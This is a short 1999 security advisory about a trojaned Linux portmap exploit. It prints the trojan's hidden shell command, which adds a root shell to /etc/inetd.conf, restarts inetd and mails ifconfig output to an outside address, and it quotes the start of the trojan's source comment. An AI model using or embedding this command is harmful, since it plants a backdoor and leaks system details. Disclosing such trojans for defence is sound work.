Backdoored exploit for the portmap exploit has been found
22 Aug. 1999
Summary
A Trojaned version of the portmap exploit is being spread on the net. The Trojan claims to exploit the portmap vulnerability on Redhat boxes, but what it really does is add a 'root shell' (unprotected access, also called a backdoor) to the inetd.conf file and sends other info like your IP address by executing ifconfig. All this information is sent to the email: goat187@hotmail.com. If your firewall can block outgoing mail according to e-mail address, watch this e-mail as it indicates one of your users used the backdoored exploit.
The actual "shell code" that gets executed follows:
/bin/echo "65139 stream tcp nowait root /bin/sh sh -i" >> /etc/inetd.conf ; /bin/killall -1 inetd 2>&1 1>/dev/null ; /sbin/ifconfig -a | mail goat187@hotmail.com 2>&1 2>/dev/null
The exploit code that is currently distributed (DO NOT USE):
/*
Do not run unless you know what you are doing , and DONT RUN IT
AS ROOT. It Puts a ROOTSHELL in your inetd.conf and mails them
your IP address.
PRIVATE !!! DO NOT DISTRIBUTE THIS !!! PRIVATE (DOnT RUN its a
TROJAN)
portmap remote root linux exploit (TROJAN) (no stack patch)
by horizon - jmcdonald@unf.edu
This was tested against redhat box with 2.2.9 kernel.
(shouldn't need offset)